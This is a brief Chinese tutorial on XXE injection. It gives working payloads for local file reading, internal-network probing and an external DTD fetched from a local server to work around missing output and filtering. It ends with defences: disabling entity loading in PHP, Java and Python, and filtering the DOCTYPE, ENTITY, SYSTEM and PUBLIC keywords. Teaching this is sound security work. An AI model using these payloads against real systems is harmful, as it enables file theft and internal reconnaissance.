XXE简介
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。
漏洞利用
1.提交的数据包含XML格式如:
<forgot><username>admin</username></forgot>
2.请求头中如: Content-Type:text/xml或Content-type:application/xml 文件读取:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
内网探针:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<user><username>&rabbit;</username><password>Mikasa</password></user>
外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload)
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/www.txt">
XXE防御
#XXE修复防御方案 方案1-禁用外部实体 PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC